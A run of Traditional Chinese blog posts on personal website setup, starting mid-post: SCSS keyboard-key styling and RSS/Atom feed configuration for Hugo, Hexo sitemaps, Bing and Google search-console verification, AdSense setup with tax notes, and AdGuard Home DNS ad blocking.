`1`	`<link rel="stylesheet" href="https://unpkg.com/keyboard-css@1.2.4/dist/css/main.min.css" />`

不過使用時就要指定 class 才會有效，雖然可以有很多風格可以彈性使用，但在 markdown 就要多打很多字。

</> markdown

`1`	`<kbd class="kbc-button">Ctrl</kbd> + <kbd class="kbc-button">C</kbd>`

我這邊大概只會用一種風格，所以為了以後可以少打點字，這邊還是要稍微作點修改，移植裡面按鈕(button)的版本到我的scss。

CSS code 修改自 GitHub shhdharmen/keyboard-css

如果不需要有夜晚模式的話，在 custom.scss 加入下面的代碼即可 (白色按鍵)

</> scss 📄 my-project/assets/scss/custom.scss

kbd {
  -webkit-backface-visibility: hidden;
  backface-visibility: hidden;
  border: 1px solid #e6e6e6;
  border-radius: .25rem;
  display: inline-block;
  font-weight: 400;
  text-align: left;
  transform: translateZ(5px);
  transform-style: preserve-3d;
  transition: all .25s cubic-bezier(.2, 1, .2, 1);
  font-size: 1rem;
  line-height: 1.5;
  margin: .375rem .375rem .6875rem;
  padding: .375rem .75rem;
  box-shadow: 0 0 #d9d9d9, 0 0 #d9d9d9, 0 1px #d9d9d9, 0 2px #d9d9d9, 0 3px #d9d9d9, 0 4px #d9d9d9, 0 5px #d9d9d9, 2px 2.5px 4px #adb5bd, 0 -1px 2.5px #adb5bd;
  background-color: #fff;
  color: #343a40;
  cursor: pointer;
  font-family: -apple-system, BlinkMacSystemFont, Segoe UI, Roboto, Helvetica Neue, Arial, Noto Sans, sans-serif, Apple Color Emoji, Segoe UI Emoji, Segoe UI Symbol, Noto Color Emoji;
  text-decoration: none
}

kbd:after {
  border-radius: .5rem;
  border-width: .125rem;
  bottom: -10px;
  left: -.3125rem;
  right: -.3125rem;
  top: 0;
  transform: translateZ(-5px);
  border-color: #ccc
}

kbd:focus,
kbd:hover {
  transform: translate3d(0, 1px, 5px);
  box-shadow: 0 0 #d9d9d9, 0 0 #d9d9d9, 0 1px #d9d9d9, 0 2px #d9d9d9, 0 3px #d9d9d9, 0 4px #d9d9d9, 2px 2px 4px #adb5bd, 0 -1px 2px #adb5bd;
  background-color: #e6e6e6;
  color: #343a40;
  outline: none;
  text-decoration: none
}

kbd:focus:after,
kbd:hover:after {
  transform: translate3d(0, -1px, -5px)
}

kbd:active {
  border-color: transparent;
  transform: translate3d(0, 5px, 0);
  background-color: #e6e6e6;
  box-shadow: 0 0 1px 1px #d9d9d9;
  color: #343a40
}

kbd:active:after {
  transform: translate3d(0, -5px, 0)
}

kbd:disabled {
  cursor: not-allowed;
  opacity: .65;
  pointer-events: none
}

如果要有夜晚模式

新增 highlight 資料夾 my-project/assets/scss/partials/highlight/
新增 dark.scss 跟 light.scss 取代原本主題自帶的 scss
貼上下面的內容，這些程式碼都是照搬主題原始的 scss
調整配色變數（如果你不喜歡我的配色），並引用 kbd.scss
加上 kbd.scss 放對應的 scss code

</> scss 📄 my-project/assets/scss/partials/highlight/dark.scss

/*
*   Style: monokai
*   https://xyproto.github.io/splash/docs/monokai.html
*/

$color: #f8f8f2;
$background-color: #272822;
$error-color: #bb0064;
$keyword-color: #66d9ef;
$text-color: $color;
$name-color: #a6e22e;
$literal-color: #e6db74;

// kbd colors
$kbd-fontcolor: #D5FFE4;
$kbd-box-shadow: #5b4f9d;
$kbd-box-shadow2: #6255ab;
$kbd-background-color: #6F61C0;
$kbd-after-border: #011a3c;
$kbd-hobver-background: #5b4f9d;

@import "common.scss";

// 在這邊引用
@import "kbd.scss"

</> scss 📄 my-project/assets/scss/partials/highlight/light.scss

/*
*   Style: monokailight
*   https://xyproto.github.io/splash/docs/monokailight.html
*/

$color: #272822;
$background-color: #fafafa;
$error-color: #960050;
$keyword-color: #00a8c8;
$text-color: #111111;
$name-color: #75af00;
$literal-color: #d88200;

// kbd colors
$kbd-fontcolor: #343a40;
$kbd-box-shadow: #d9d9d9;
$kbd-box-shadow2: #adb5bd;
$kbd-background-color: #fff;
$kbd-after-border: #ccc;
$kbd-hobver-background: #e6e6e6;

@import "common.scss";

// 在這邊引用
@import "kbd.scss"

</> scss 📄 my-project/assets/scss/partials/highlight/kbd.scss

kbd {
  -webkit-backface-visibility: hidden;
  backface-visibility: hidden;
  border: 1px solid $kbd-hobver-background;
  border-radius: .25rem;
  display: inline-block;
  font-weight: 400;
  text-align: left;
  transform: translateZ(5px);
  transform-style: preserve-3d;
  transition: all .25s cubic-bezier(.2, 1, .2, 1);
  font-size: 1rem;
  line-height: 1.5;
  margin: .375rem .375rem .6875rem;
  padding: .375rem .75rem;
  box-shadow: 0 0 $kbd-box-shadow, 0 0 $kbd-box-shadow, 0 1px $kbd-box-shadow, 0 2px $kbd-box-shadow, 0 3px $kbd-box-shadow, 0 4px $kbd-box-shadow, 0 5px $kbd-box-shadow, 2px 2.5px 4px #adb5bd, 0 -1px 2.5px #adb5bd;
  background-color: $kbd-background-color;
  color: $kbd-fontcolor;
  cursor: pointer;
  font-family: -apple-system, BlinkMacSystemFont, Segoe UI, Roboto, Helvetica Neue, Arial, Noto Sans, sans-serif, Apple Color Emoji, Segoe UI Emoji, Segoe UI Symbol, Noto Color Emoji;
  text-decoration: none
}

kbd:after {
  border-radius: .5rem;
  border-width: .125rem;
  bottom: -10px;
  left: -.3125rem;
  right: -.3125rem;
  top: 0;
  transform: translateZ(-5px);
  border-color: $kbd-after-border
}

kbd:focus,
kbd:hover {
  transform: translate3d(0, 1px, 5px);
  box-shadow: 0 0 $kbd-box-shadow, 0 0 $kbd-box-shadow, 0 1px $kbd-box-shadow, 0 2px $kbd-box-shadow, 0 3px $kbd-box-shadow, 0 4px $kbd-box-shadow, 2px 2px 4px $kbd-box-shadow2, 0 -1px 2px $kbd-box-shadow2;
  background-color: $kbd-hobver-background;
  color: $kbd-fontcolor;
  outline: none;
  text-decoration: none
}

kbd:focus:after,
kbd:hover:after {
  transform: translate3d(0, -1px, -5px)
}

kbd:active {
  border-color: transparent;
  transform: translate3d(0, 5px, 0);
  background-color: $kbd-hobver-background;
  box-shadow: 0 0 1px 1px $kbd-box-shadow;
  color: $kbd-fontcolor
}

kbd:active:after {
  transform: translate3d(0, -5px, 0)
}

kbd:disabled {
  cursor: not-allowed;
  opacity: .65;
  pointer-events: none
}

完成🎉

參考來源

Hugo 設定RSS, ATOM Feed

Fri, 03 Jan 2025 16:42:08 +0800

下面會修改到 Hugo 設定，還不知道怎麼改設定檔建議先看 Hugo 設定檔的說明

修改RSS檔名

hugo 預設生成的RSS檔案在　localhost:1313/index.xml

如果要取代原本的RSS檔名，可以直接改 hugo.toml
將 outputFormats.RSS 的 baseName 改成想要的檔名
設定檔中沒有這段的話，可以直接貼上下面的設定

這邊只紀錄 toml 格式的設定方式，需要 yaml 或 json 格式，請參考官方文件 Custom output formats

</> toml 📄 hugo.toml

[outputFormats]
[outputFormats.RSS]
mediatype = "application/rss+xml"
baseName = "rss"

這樣就可以把RSS的檔名改成 localhost:1313/rss.xml

自定輸出類型

這種方式適合用在同時加 RSS、ATOM、JSON Feed 或其他的自訂格式

這邊以建立 Atom feed 作為範例

</> toml 📄 hugo.toml

[outputs]
home = ["HTML"]
section = ['HTML','ATOM']
taxonomy = ['HTML']
term = ['HTML']

[outputFormats]
[outputFormats.ATOM]
mediatype = "application/rss+xml"
baseName = "atom"

中間的mediatype就可以照我們的需要調整，Atom 跟 RSS 相同即可
如果是 JSON Feed ，就可以改為 application/json
其他內建的輸出格式可參考 Output format definitions

需要生成 ATOM Feed 的部分，就可以在 outputs 後面加上我們自訂的 ATOM
像我這就只需要 section 生成 ATOM Feed

如果沒有特別設定的話，這四種類的 output 預設都是 [“HTML”,“RSS”]

到這邊我們的 ATOM Feed 還沒設定完，還需要新增模版

自訂RSS生成模版

建模版檔案

我們可以在 layout 資料夾內建立模版檔案，覆蓋預設的模版

📂 Folder

layouts/
└── _default/
    ├── home.atom.xml
    ├── section.atom.xml
    ├── taxonomy.atom.xml
    └── term.atom.xml

如果不想細分這麼詳細，全部都是套用同一個模版，可以只新增 layouts/_default/list.atom.xml

詳細的檔名批配機制可以參考官方文件 lookup-order/#rss-templates

模版內容

這邊我使用 araname/atom-template-for-hugo 的模版

atom-template-for-hugo

Allows Hugo to generate Atom feeds to your site

</> xml 📄 list.atom.xml

{{- /* Deprecate site.Author.email in favor of site.Params.author.email */}}
{{- $authorEmail := "" }}
{{- with site.Params.author }}
  {{- if reflect.IsMap . }}
    {{- with .email }}
      {{- $authorEmail = . }}
    {{- end }}
  {{- end }}
{{- else }}
  {{- with site.Author.email }}
    {{- $authorEmail = . }}
    {{- warnf "The author key in site configuration is deprecated. Use params.author.email instead." }}
  {{- end }}
{{- end }}

{{- /* Deprecate site.Author.name in favor of site.Params.author.name */}}
{{- $authorName := "" }}
{{- with site.Params.author }}
  {{- if reflect.IsMap . }}
    {{- with .name }}
      {{- $authorName = . }}
    {{- end }}
  {{- else }}
    {{- $authorName  = . }}
  {{- end }}
{{- else }}
  {{- with site.Author.name }}
    {{- $authorName = . }}
    {{- warnf "The author key in site configuration is deprecated. Use params.author.name instead." }}
  {{- end }}
{{- end }}

{{- $pctx := . }}
{{- if .IsHome }}{{ $pctx = .Site }}{{ end }}
{{- $pages := slice }}
{{- if or $.IsHome $.IsSection }}
{{- $pages = $pctx.RegularPages }}
{{- else }}
{{- $pages = $pctx.Pages }}
{{- end }}
{{- $limit := .Site.Config.Services.RSS.Limit }}
{{- if ge $limit 1 }}
{{- $pages = $pages | first $limit }}
{{- end }}
{{- printf "<?xml version=\"1.0\" encoding=\"utf-8\" standalone=\"yes\"?>" | safeHTML }}
<feed xmlns="http://www.w3.org/2005/Atom" xml:lang="{{ site.Language.LanguageCode }}">
  <title>{{ if eq .Title .Site.Title }}{{ .Site.Title }}{{ else }}{{ with .Title }}{{ . }} on {{ end }}{{ .Site.Title }}{{ end }}</title>
  <link href="{{ .Permalink }}" />
  <subtitle>Recent content {{ if ne .Title .Site.Title }}{{ with .Title }}in {{ . }} {{ end }}{{ end }}on {{ .Site.Title }}</subtitle>
  <generator>Hugo</generator>
  {{- if or $authorName $authorEmail }}
  <author>{{ end }}{{ with $authorName }}
    <name>{{ . }}</name>{{ end }}{{ with $authorEmail }}
    <email>{{ . }}</email>{{ end }}{{ if or $authorName $authorEmail }}
  </author>{{ end }}{{ with .Site.Copyright }}
  <rights>{{ . }}</rights>{{ end }}{{ if not .Date.IsZero }}
  <updated>{{ (index $pages.ByLastmod.Reverse 0).Lastmod.Format "2006-01-02T15:04:05-07:00" | safeHTML }}</updated>{{ end }}
  {{- with .OutputFormats.Get "Atom" }}
  {{ printf "<link href=%q rel=\"self\" type=%q />" .Permalink .MediaType | safeHTML }}
  {{- end }}
  <id>{{ .Permalink }}</id>
  {{- range $pages }}
  <entry>
    <title>{{ .Title }}</title>
    <link href="{{ .Permalink }}" />
    <published>{{ .PublishDate.Format "2006-01-02T15:04:05-07:00" | safeHTML }}</published>
    <updated>{{ .Lastmod.Format "2006-01-02T15:04:05-07:00" | safeHTML }}</updated>
    {{- if or $authorName $authorEmail }}
    <author>{{ end }}{{ with $authorName }}
      <name>{{ . }}</name>{{ end }}{{ with $authorEmail }}
      <email>{{ . }}</email>{{ end }}{{ if or $authorName $authorEmail }}
    </author>{{ end }}
    <id>{{ .Permalink }}</id>
    <content type="html">{{ .Content | transform.XMLEscape | safeHTML }}</content>
  </entry>
  {{- end }}
</feed>

完成之後，Hugo 就會幫我們生成對應的 atom.xml 檔了

修改檔案位置

有些網站的 RSS 可能不放在根目錄，例如 localhost:1313/rss/rss.xml

有這樣的需求，目前 Hugo 沒有比較好的方式能直接生成在指定位置
可以在 Hugo 轉譯完之後，另外用指令去移動

>_ terminal

`1`	`mv public/rss.xml public/rss/rss.xml`

本站的 Rss 設定時有碰一個小問題
我不想要左邊選單的頁面(page)被列在 RSS 裡面，只需要有貼文(post)就好
位在 public/post/rss.xml 這個檔案，剛好就只有貼文的資料

所以乾脆就在 CICD 的設定內，加上複製檔案蓋掉根目錄的 rss.xml

</> yaml 📄 .woodpecker/deploy.yml

when:
  - event: push
    branch: main

steps:
  - name: build
    image: hugomods/hugo:dart-sass-go-git
    commands:
    - hugo build
    - cp public/post/rss.xml public/rss.xml

參考來源

官方文件 Configure Hugo

Vifly 的博客从 Material 主题迁移到 Stack 主题

Hugo 論壇 How can I change the RSS URL?

Hugo 設定檔結構

Thu, 02 Jan 2025 10:26:29 +0800

Hugo 設定檔

設定檔名稱

hugo 的設定檔 hugo.toml (找不到的話可能叫 config.toml)

在 hugo v0.109.0 版之前設定檔叫config.toml，之後才改成hugo.toml。
新的版本兩種名稱都可以生效，不過官方建議換成hugo.toml。

設定檔位置

單一設定檔

my-project/hugo.toml

Hugo設定檔可以單獨放在專案的任一地方，預設會抓專案根目錄的 hugo.toml

這種方式適合只想有單個設定檔，或是想將設定檔放在非預設位置

可以搭配指令參數--config /path/to/hugo.toml 抓不同位置的設定檔

放在 config 資料夾內

Hugo 支援在不同環境下使用不同的設定檔

預設在根目錄的 config 資料夾內可以分環境，如果沒有對應設定，就會套用 _default 裡的預設值

搭配指令參數--configDir /path/to/config 可以抓不同位置的設定資料夾

my-project/
└── config/
    ├── _default/
    │   └── hugo.toml
    ├── devlopment/
    │   └── hugo.toml
    └── production/
        └── hugo.toml

直接執行hugo server時，會去套用 devlopment 的設定

執行hugo(相當於hugo build)時，會去套用 production 的設定

如果這兩種還不夠用，可以在 config 內新增自定的設定資料夾

my-project/
└── config/
    ├── _default/
    │   └── hugo.toml
    └── myenv/
        └── hugo.toml

搭配指令參數--environment myenv可以套用 myenv 資料夾內的設定

設定檔格式

toml, yaml, json 三種格式的設定檔都可以用

轉換的方式在官方文件 Configure Hugo 中可以參考

PS：官方的文件紀錄得很詳細，會讓人覺得難上手，不過善用搜尋會很方便

以本站的設定為例，這邊只有節錄一部分

</> toml 📄 hugo.toml

# 沒錯 toml 可以用註解
baseurl = "https://zonego.tw"
languageCode = "zh-tw"
title = "筆記Zone"

# Theme i18n support
# Available values: en, fr, id, ja, ko, pt-br, zh-cn, zh-tw, es, de, nl, it, th, el, uk, ar
defaultContentLanguage = "zh-tw"

[outputs]
  home = ['html', 'rss']

...

</> yaml 📄 hugo.yml

baseurl : "https://zonego.tw"
languageCode : "zh-tw"
title : "筆記Zone"

defaultContentLanguage : "zh-tw"

outputs:
  home:
  - html
  - rss

...

切分設定檔案

預設將設定全部集中在 hugo.toml 單一個檔案中

優點是設定只要在一個檔案中搜尋就好，不用翻文件看什麼設定放在哪個檔案

不過設定檔會變很長，編輯器沒有搜尋功能很難找

Hugo 支援將設定檔，用第一層的 key 作為檔名切開，這個功能只有在有用 config 資料夾時才能用

以前面本站的設定 hugo.toml 為例

</> toml 📄 hugo.toml

# 沒錯 toml 可以用註解
baseurl = "https://zonego.tw"
languageCode = "zh-tw"
title = "筆記Zone"

# Theme i18n support
# Available values: en, fr, id, ja, ko, pt-br, zh-cn, zh-tw, es, de, nl, it, th, el, uk, ar
defaultContentLanguage = "zh-tw"

[outputs]
  home = ['html', 'rss']

...

可以新增一個 outputs.toml 將 [outputs]範圍內的設定單獨切分一個檔案

my-project/
└── config/
    └── _default/
        ├── hugo.toml
        └── outputs.toml

內容直接寫[outputs]下的設定即可

</> toml 📄 outputs.toml

`1`	`home = ['html', 'rss']`

詳細有哪些 key 可以切，請看官方文件

設定檔分類

Hugo支援用資料夾作設定檔分類

例如網站設定不同語言的版本，menu可以有多個設定檔

my-project/
└── config/
    └── _default/
        ├── hugo.toml
        ├── outputs.toml
        ├── menus.en.toml
        └── menus.de.toml

可以加一層資料夾做分類

my-project/
└── config/
    └── _default/
        ├── hugo.toml
        ├── navigation/
        │   ├── menus.en.toml
        │   └── menus.de.toml
        └── outputs.toml

參考資料

官方文件 Configure Hugo

芫荽繁體硬筆楷書字型 Iansui Font

Mon, 15 Apr 2024 10:40:10 +0800

芫荽 / iansui

第一套為台灣教育使用所改造的繁體硬筆楷書字型

An open source Chinese font derived from Klee One (Fontworks).
基於 Fontworks 的 Klee One 衍生的開源繁體中文字型。

開源授權規定

除單獨出售字型檔禁止外，任何人可以無償使用此字型，包含商用。無須告知原作者。

下載

GitHub 下載點

在 GitHub 專案的 Release 頁面，點最新版本的 iansui.zip 下載

將 iansui.zip 解壓縮後，找到 Iansui-Regular.ttf 點兩下即可安裝。

另外也有發音符號的版本

注音芫荽芫荽的注音字型。
字咍芫荽台語標音字型家族。

圖片、資訊來源：

美感細胞教科書再造計畫
GitHub ButTaiwan/iansui

Bing Webmaster Tools - 讓 Bing 搜尋到部落格內容

Mon, 02 Oct 2023 11:14:09 +0800

之前寫過讓 Google 主動來爬我們的網站內容，但世界上不只有 google 這個搜尋引擎
微軟的搜尋引擎 Bing 雖然不是最多人使用，不過為了增加網站曝光，就來設定 Webmaster Tools 吧
~~反正設定也不用錢~~

其他搜尋引擎請參考

Google Search Console - 讓 Google 搜尋到部落格內容

登入 Microsoft 帳號

註冊就跳過吧，應該大家都會
真的沒有的話，也可以用 Google 或 FB 帳號登入

從 Google Search Console 匯入網站

登入後選擇新增站點

如果之前已經設定過 Google Search Console
可以連結 Google 帳號，將設定匯入 Bing Webmaster Tools

由於我的部落格 https://zonego.tw 已經匯入過，所以我的 Google 帳號內會沒有其他網站能匯入
正常的話這邊選擇網站匯入就可以了

新增網站至 Webmaster Tools

新增站點這邊輸入網站的網址

以新增 https://example.zonego.tw 為範例
下一步就是要驗證網站是你的，有三種驗證方法

1.BingSiteAuth.xml

下載驗證用的 BingSiteAuth.xml 檔案，放在網站的根目錄
https://example.zonego.tw/BingSiteAuth.xml

在網站的所有頁面 Header 中加入驗證碼

</> html

<head>
  ...
  ‹meta name="msvalidate.01" content="2218F52174A741F96454DA55D7A664AA" />
</head>

3.透過DNS驗證網站

在網域的DNS紀錄加入 CNAME 轉至 verify.bing.com

完成之後，對DNS查詢 82d5e001135888feb5576ef02ef31223.zonego.tw 應該轉至 verify.bing.com

設定 Sitemap

接下來新增網站的 sitemap 網址，讓微軟的爬蟲知道有哪些公開頁面可以爬資料
例如我的網站 sitemap 就放在 https://zonego.tw/sitemap.xml

完成之後等待一段時間，在 Bing 搜尋就會找到我們網站的內容了 🎉

Emoji Kitchen 自己組合出想要的表情符號

Mon, 18 Sep 2023 12:00:32 +0800

Gboard 鍵盤

Google 在 Android 出的 Gboard 鍵盤上推出 Emoji Kitchen 功能

Gboard Google Play 商店連結：https://play.google.com/store/apps/details?id=com.google.android.inputmethod.latin

簡單來說，在可以傳圖片的地方 (如 Discord)，用 Gboard 鍵盤輸入兩個 emiji 就可以將融合後的圖片傳出去

網頁版

當初只在Gboard 鍵盤上的 Emoji Kitchen 合成功能現在開放網頁版啦

只要在 Google 搜尋 Emoji Kitchen，組合完表情就產生出圖片了

網址：https://www.google.com/search?q=emoji+kitchen

要用時需要將圖片下載下來，或是複製圖片網址使用

</> markdown

1
2
3

<!-- 複製圖片網址範例 -->

![](https://www.gstatic.com/android/keyboard/emojikitchen/20201001/u1f914/u1f914_u1f47b.png?fbx)

開源版本

在 Google 還沒開放網頁版功能之前，一些熱心開發者也做出類似的網站可以線上使用
這邊介紹 xsalazar/emoji-kitchen

使用時跟 Google 的網頁版一樣，需要將圖片下載下來，或是複製圖片網址使用

GitHub：https://github.com/xsalazar/emoji-kitchen
Emoji Kitchen：https://emojikitchen.dev/

Google AdSense 讓你的網站幫你賺錢

Wed, 16 Aug 2023 15:28:51 +0800

申請 Google 帳號這個步驟就先跳過

接下來到 AdSense 網站 https://www.google.com/adsense

設定要套用的網站

點新增網站之後，打入網站的連結，例如 https://example.com

接下來要驗證網站是你的，有兩種方式

使用 AdSense 程式碼
使用 Ads.txt 驗證

建議使用 Ads.txt 驗證比較省事，如果我們不是用 Ads.txt 驗證網站所有權的話，後面還是要做這一步驟。簡單來說，美國為了保護下廣告的客戶，提供銷售廣告位的網站需要提供 Authorized Digital Sellers (簡稱 ads.txt)
詳細說明請參考 Google 的 https://support.google.com/adsense/answer/12171612?hl=zh-Hant

將 Google 提供的代碼貼到個頁面的 header 即可

hexo nexmoe 這個主題有提供修改 header 的設定

修改 _config.nexmoe.yml，在 slotHead: 貼上即可

</> yaml

...

slotHead: |
  <script async src="https://pagead2.googlesyndication.com/pagead/js/adsbygoogle.js?client=ca-pub-ID" crossorigin="anonymous"></script>

Hugo Stack 主題要修改 Header 也一樣簡單

在 my-project/layouts/partials/head 資料夾內新增 custom.html
然後將內容貼進去就可以了

</> html 📄 custom.html

`1`	`<script async src="https://pagead2.googlesyndication.com/pagead/js/adsbygoogle.js?client=ca-pub-ID" crossorigin="anonymous"></script>`

使用 Ads.txt 驗證

複製 google 提供的文字

</> txt

`1`	`google.com, pub-XXXXXX, DIRECT, XXXXXXX`

如果驗證時不是用這個方式的話，可以重新點網站進去，Google 會產生 ads.txt 的內容可以複製

Hexo 為例子，在 source 資料夾內新增 ads.txt，把剛剛複製的內容貼上
修改 _config.yml 設定跳渲染 ads.txt (可參考 Hexo 指定文件跳過渲染)

</> yml

...

skip_render:
- ads.txt

Hugo 就更簡單了，直接將 ads.txt 放在 my-project/static 資料夾內就可以了
Hugo 就會自動放在網站的根目錄，像 http://localhost:1313/ads.txt

設定付款資料

付款資料

點左側選單 > 付款 > 付款資訊

付款帳戶的資料基本上不用管它，想要調整收到前的時間可以改付款時間表，最少需要累積到 100 美金才領的出來

美國稅籍資料

畢竟 Google 是美國公司，照美國的稅制大概會收 24% 起跳的稅金
外國人可以申請 W-8BEN 來降低稅收，只有針對美國人銷售、營利才需要收 30% 稅金

簡單來說假設你的網站有 100 美元的廣告收入，其中有 10% 的廣告收入是來自美國

	稅金	實際收入
正常稅率 (未申請 W-8BEN)	100 * 24% = 24	100 - 24 = 76
有申請 W-8BEN	(100 * 10%) * 30% = 3	100 - 3 = 97

所以，除非你的網站或 Youtube 頻道主要都是來自美國，不然申請 W-8BEN 扣的稅會比較少

我是參考雲爸的教學來填寫 https://dacota.tw/blog/post/google-adsense-w-8ben

付款資料內的姓名記得填護照的英文姓名，不然需要在另外上傳護照證明稅及跟帳號擁有者是同一人

付款方式

付款方式要累積到能第一次領錢才能設定

台灣能使用的有2種方式

美元支票
電匯

https://lashiblog.com/google-adsense-payments/

安插廣告

安插廣告到網站裡面有2種作法，自動廣告跟手動廣告

自動廣告

在左邊選單廣告 > 按網站 > 選你要啟用自動廣告的網站

這邊啟用之後就會自動在網站內插入廣告 (因為是自動，廣告可能會插在文中)

手動插入廣告

在左邊選單廣告 > 按廣告單元

在這邊依照合適的版面類型建立廣告，建完之後會有給你廣告的代碼
代碼大概分為三個部分

</> html

<!--請放在 Header，只需要放一次-->
<script async src="https://pagead2.googlesyndication.com/pagead/js/adsbygoogle.js?client=ca-pub-ID"
     crossorigin="anonymous"></script>

<!--放在頁面內你想出現廣告的地方，可在頁面內放多次-->
<ins class="adsbygoogle"
     style="display:block; text-align:center;"
     data-ad-layout="in-article"
     data-ad-format="fluid"
     data-ad-client="ca-pub-ID"
     data-ad-slot="廣告單元ID"></ins>

<!--放在頁面最後，只需要放一次-->
<script>
     (adsbygoogle = window.adsbygoogle || []).push({});
</script>

詳細可參考Google的說明https://support.google.com/adsense/answer/9190028?sjid=17637765633261310327-AP

Photo by Alexander Grey on Unsplash

Google Search Console - 讓 Google 搜尋到部落格內容

Wed, 02 Aug 2023 12:52:15 +0800

建好一個新網站，在搜尋引擎爬到你的網站之前，理所當然會搜尋不到任何東西

那 Google 甚麼時候會時候會來爬我的網站? 真的就是隨緣

要主動讓搜尋引擎認識你的網站? 那就是要去 Google Search Console 設定

其他搜尋引擎請參考

Bing Webmaster Tools - 讓 Bing 搜尋到部落格內容

新增網站的 Sitemap

去 Google 設定之前，我們需要先將搜尋引擎需要的網站地圖 sitemap.xml 產生出來。
教學在這 Hexo 自動產生網站的 sitemap

至於 Hugo 就不用再額外做設定了，預設就生成在 https://yoursite.com/sitemap.xml

在 Google Search Console 新增網站

註冊 Google 帳號

這部份相信大家都會，跳過

新增網站

接下來到 Google Search Console 去設定爬蟲來抓我們的網站
Google Search Console 網址： https://search.google.com/search-console

資源類型分為兩類，網站前置字元代表只索引單一網站，網域則是歸在該網域下的所有網站都會索引。
沒有特殊需求的話選網站前置字元就好。

驗證網站

把要索引的網站打進去後，接下來要驗證網站是你的

下面的驗證方式選一個就好

HTML 檔案

預設最簡單的驗證方式，只要將 google 提供的驗證用 html 檔案下載，放在 hexo 的目錄即可
網站部屬之後可以在 https://yoursite.com/googleXXXXXXXXXXXXXXXX.html 看到驗證碼就可以去點驗證了

Hexo 記得在 _config.yml 加入跳過這個檔案的渲染詳細請看 Hexo 指定文件跳過渲染

</> yaml

1
2

skip_render:
- googleXXXXXXXXXXXXXXXX.html

HTML 標記

在首頁的 Header 內加入驗證碼

https://yoursite.com/index.html

</> html

`1`	`<meta name="google-site-verification" content="key-XXX" />`

Google Analytics

如果你的網站有使用 Google Analytics 的話可以直接點驗整就好，反正也在設定 GA 時也算驗證過網站所有者了

網域名稱供應商

在 DNS 內加入相同網域的 TXT 紀錄，裡面放驗證碼即可驗證
如果是 cloud flare 的話就更簡單，只要照著點就好了
不過設定時要注意衝突

完成

驗證完之後等待 google 把 sitemap 內的頁面索引完，在 Google 搜尋你的網站可以被搜尋到了
後續 google 會提是你的網站有什麼問題需要修正，未修正前會被排到搜尋列表的後面
要被演算法排到前面就需要做 SEO (search engine optimizaton) 了

Photo by Mitchell Luo on Unsplash

Hexo 自動產生網站的 sitemap

Wed, 26 Jul 2023 13:18:46 +0800

Sitemap 意思為網站地圖，主要是提供給搜尋引擎知道，這個網站有哪些頁面。
當然，如果你喜歡看原始的 xml 檔，也可以給人看。

hexo-generator-sitemap

GitHub: https://github.com/hexojs/hexo-generator-sitemap

這個插件在我們部署 hexo 網站時，會自動幫我們產生 sitemap.xml

安裝

>_ terminal

`1`	`npm install hexo-generator-sitemap --save`

Hexo 版本對應使用插件的版本

Hexo	插件
Hexo 4	2.x
Hexo 3	1.x
Hexo 2	0.x

調整設定

修改 Hexo 的設定檔 `_config.yml`

設定範例:

</> yaml

...

sitemap:
  path:
    - sitemap.xml
    - sitemap.txt
  template: ./sitemap_template.xml
  template_txt: ./sitemap_template.txt
  rel: false
  tags: true
  categories: true

參數	說明
path	產生的 sitemap 檔案位置範例的寫法就是 http://localhost:4000/sitemap.xml如果不要生成 txt 格式可以不寫 `- sitemap.txt`
template	用於產生 sitemap.xml 的模版檔案位置
template_txt	用於產生 sitemap.txt 的模版檔案位置(如果不要生成 sitemap.txt 可以不寫)
rel	是否在 header 產生 rel-sitemap詳情請看說明
tags	是否產生個別 tag 頁面
categories	是否產生個別分類的頁面

建立模版檔案

預設的 xml 與 txt 格式的模版可以在 github repo 內下載
xml: https://github.com/hexojs/hexo-generator-sitemap/blob/master/sitemap.xml
txt: https://github.com/hexojs/hexo-generator-sitemap/blob/master/sitemap.txt

下載後放到 Hexo 的目錄即可

模版檔案的路徑可以自訂
例如：模版檔案放在 your_hexo_site/template/sitemap.xml
設定檔 _config.yml 內的模版路徑 template 需要著修改

</> yaml

1
2
3

sitemap:
  ...
  template: ./template/sitemap.xml

測試安裝

安裝完後啟動伺服器，到 http://localhost:4000/sitemap.xml 看是否有產生 sitemap.xml

>_ terminal

`1`	`hexo server`

產生靜態頁面也會自動產生 sitemap 檔案

>_ terminal

`1`	`hexo generate`

跳過 sitemap 收錄

如果有貼文或頁面想在 sitemap 中隱藏，可以在標頭 (Front-matter) 加 sitemap: false

例如：

</> markdown

---
title: 隱藏貼文
date: 2020-01-01
sitemap: false
---

AdGuard Home 擋廣告工具

Tue, 21 Feb 2023 19:42:28 +0800

一般檔廣告大家都會使用瀏覽器插，例如 AD Bolck。這邊推薦可以從 DNS 下手

DNS 檔廣告原理

DNS原理簡介

一般瀏覽網站時，我們常會使用網域名稱 domain，代替只有數字的 IP 作為連線地址

舉個例子🌰，要去 google 首頁 https://www.google.com ，其中 www.google.com 就是網域名稱
瀏覽器會先去 DNS 伺服器用網域名稱查出 Google 的伺服器 IP
知道 IP 後才能連到 Google 的伺服器請求資料

在這中間，Google 也會順便將要顯示的廣告網址一起送回來
瀏覽器再照之前的流程，去廣告商的伺服器去抓廣告回來顯示

想知道更多 DNS 詳細機制，可以參考 Coudflare 寫的說明

DNS沉洞（DNS sinkhole）

看完原理後，反過來說，只要 DNS 伺服器不能正常把網域名稱換成 IP
網路就像斷了，只剩直接給 IP 的方式還能連線

所以只要在 DNS 伺服器動手腳，把廣告的網址設定成錯誤的IP(例如：127.0.0.1)
廣告就無法正常顯示

這種作法就叫做 DNS沉洞（DNS sinkhole）

有幾套可以自己架的 DNS 伺服器軟體可以達到這種效果，如 PI-Hole、 AdGuard Home
這邊主要介紹 AdGuard Home

~~PI-Hole 改天在寫~~

AdGuard Home

AdGuard Home 官方網站

AdGuard Home GitHub repo

附上 AdGuard Home 提供的功能比對表…

功能	AdGuard Home	Pi-Hole
阻擋廣告與追蹤器	✅	✅
自訂阻擋清單	✅	✅
內建 DHCP server 功能	✅	✅
HTTPS 管理介面	✅	❌ 需手動設定 lighttpd
上游 DNS 伺服器加密 (DNS-over-HTTPS, DNS-over-TLS, DNSCrypt)	✅	❌ (需安裝額外插件)
跨平台支援	✅	❌ (需透過 Docker)
支援加密 DNS-over-HTTPS or DNS-over-TLS server	✅	❌ (需安裝額外插件)
阻擋惡意網域	✅	❌ (需要使用另外的阻擋清單)
家長管控 (阻擋成人網站)	✅	❌ (需自行設定阻擋清單)
強制搜尋引擎啟用安全搜尋	✅	❌
Per-client (device) configuration	✅	✅
存取設定 (設定可用 AGH DNS 的名單)	✅	❌
[不需 root 權限][wiki-noroot]執行	✅	❌

